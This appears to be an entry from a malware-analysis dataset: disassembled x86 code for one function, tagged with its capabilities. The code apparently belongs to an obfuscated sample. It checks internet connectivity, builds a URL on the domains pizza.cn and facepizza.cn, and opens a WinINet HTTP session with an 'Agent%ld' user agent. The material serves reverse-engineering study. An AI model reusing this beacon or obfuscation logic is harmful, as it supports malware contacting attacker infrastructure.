Function at 0x4023b0
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
sub esp, 0x448
mov eax, dword [0x442230]
mov dword [esp + 0x444], eax
mov eax, dword [esp + 0x458]
lea edx, [esp + 0x44]
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4023d0
mov ecx, dword [0x4410b4]
mov eax, 0x88a76c3f
imul ecx
add edx, ecx
mov ecx, dword [0x4410c0]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
push esi
mov esi, eax
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push edi
mov edi, ecx
mov ecx, dword [0x4410d4]
mov eax, 0x402d6015
imul ecx
sar edx, 0xe
mov eax, edx
sub edi, esi
shr eax, 0x1f
add edi, edx
lea ecx, [esp + 0x50]
add eax, edi
push str.pizza.cn
push ecx
mov dword [0x4410c8], eax
call fcn.00419de0
add esp, 8
test eax, eax
je 0x402598
lea edx, [esp + 0x50]
push str._test1_
push edx
call fcn.00419de0
add esp, 8
test eax, eax
jne 0x402598
mov ecx, dword [str._r_____r____]
mov eax, 0x197ad0b7
imul ecx
mov ecx, dword [0x4410cc]
mov eax, ecx
imul eax, eax, 0xa0887
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, eax
mov eax, 0x40499437
imul ecx
sar edx, 0xe
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
mov dword [0x4410cc], ecx
mov ecx, dword [0x4410c4]
mov eax, 0x1984ece9
imul ecx
mov ecx, dword [0x4410c8]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x3307af59
imul ecx
imul ecx, ecx, 0xff4b
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, ecx
lea ecx, [esp + 0x6b]
push ecx
push str.facepizza.cn
push str.http:__www.sun
lea edx, [esp + 0x25c]
push str._s_s_test1__s
push edx
mov dword [0x4410d0], eax
call fcn.00419fad
mov ecx, dword [0x4410bc]
mov esi, dword [0x4410c0]
mov edx, dword [0x4410b4]
imul esi, esi, 0x53a0f
mov eax, ecx
imul eax, eax, 0xa0c15
sub esi, eax
mov eax, 0x3307af59
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add esp, 0x14
mov dword [0x4410d4], eax
xor eax, eax
mov dl, byte [esp + eax + 0x250]
mov byte [esp + eax + 0x50], dl
inc eax
test dl, dl
jne 0x402544
mov esi, dword [0x4410d0]
mov eax, 0x61f4f3e1
imul esi
sar edx, 0x11
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
add edi, edx
mov ebx, edx
mov eax, 0x1984ece9
imul esi
shr ebx, 0x1f
sar edx, 0x10
add ebx, edi
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x4410c4], eax
jmp 0x40259e
mov ecx, dword [0x4410bc]
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4410b8]
mov eax, 0xa0c15
cdq
idiv ecx
push 0
mov edi, eax
mov eax, 0x1984ece9
imul ecx
sar edx, 0x10
mov eax, edx
sub edi, esi
shr eax, 0x1f
add edi, edx
lea ecx, [esp + 0x10]
add eax, edi
push ecx
mov dword [str._r_____r____], eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov ecx, dword [0x4410b4]
mov eax, 0x88a76c3f
imul ecx
add edx, ecx
mov ecx, dword [0x4410cc]
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x197ad0b7
imul ecx
sar edx, 0x10
add esi, edx
mov ecx, edx
mov edx, dword [str._r_____r____]
mov eax, 0x3307af59
imul edx
sar edx, 0x11
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, esi
sub ecx, eax
test byte [esp + 0xc], 0x20
mov dword [0x4410c0], ecx
jne 0x40288e
mov edx, dword [0x4410c8]
imul ecx, ecx, 0xa081a
mov esi, dword [0x4410b8]
mov eax, 0x61f4f3e1
imul esi, esi, 0xd454
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov dword [0x4410b8], esi
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
lea ecx, [esp + 0x14]
push str.Agent_ld
push ecx
call fcn.00419fad
mov ecx, dword [0x4410d0]
mov esi, dword [0x4410b4]
mov eax, 0x3307af59
imul esi, esi, 0x53a0f
imul ecx
sar edx, 0x11
add esi, edx
mov eax, edx
mov edx, dword [0x4410b8]
imul edx, edx, 0xff4b
shr eax, 0x1f
add eax, esi
add esp, 0xc
sub eax, edx
push 0
mov dword [0x4410b4], eax
test byte [esp + 0x10], 4
push 0
push 0
jne 0x402720
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x4410bc]
mov eax, 0x3307af59
imul edx
sar edx, 0x11
add esi, edx
mov edi, edx
mov eax, 0x1984ece9
imul ecx
shr edi, 0x1f
sar edx, 0x10
add edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push 4
lea ecx, [esp + 0x20]
mov dword [0x4410c4], eax
push ecx
jmp 0x402727
push 0
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [0x4410c8]
mov ebx, dword [0x4410b8]
mov edi, dword [0x4410c0]
imul ebx, ebx, 0xd454
mov esi, eax
mov eax, 0x61f4f3e1
imul ecx
mov ecx, edi
sar edx, 0x11
imul ecx, ecx, 0xa081a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
test esi, esi
mov dword [0x4410b8], ebx
je 0x40288e
mov ecx, dword [0x4410b4]
mov eax, 0x88a76c3f
imul ecx
add edx, ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x61f4f3e1
imul edi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x4410d4]
mov eax, 0x402d6015
imul ecx
mov eax, dword [esp + 0x45c]
sar edx, 0xe
mov ecx, edx
push ebp
add edi, edx
mov edx, dword [esp + 0x464]
push edx
mov edx, dword [esp + 0x470]
shr ecx, 0x1f
add ecx, edi
push eax
mov dword [0x4410c8], ecx
mov ecx, dword [esp + 0x464]
push ecx
push edx
lea eax, [esp + 0x64]
push eax
push esi
call fcn.004016d0
mov ecx, dword [0x4410bc]
mov edi, eax
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x4410b8]
mov eax, 0xa0c15
cdq
idiv ecx
add esp, 0x18
push esi
mov ebp, eax
mov eax, 0x1984ece9
imul ecx
sar edx, 0x10
mov eax, edx
sub ebp, ebx
shr eax, 0x1f
add ebp, edx
add eax, ebp
mov dword [str._r_____r____], eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [0x4410c8]
mov esi, dword [0x4410b8]
mov eax, 0x61f4f3e1
imul esi, esi, 0xd454
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4410c0]
imul edx, edx, 0xa081a
sub esi, ecx
sub esi, edx
mov dword [0x4410b8], esi
mov eax, edi
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x444]
call fcn.00419f5d
add esp, 0x448
ret
mov ecx, dword [esp + 0x450]
pop edi
pop esi
mov eax, 4
pop ebx
call fcn.00419f5d
add esp, 0x448
ret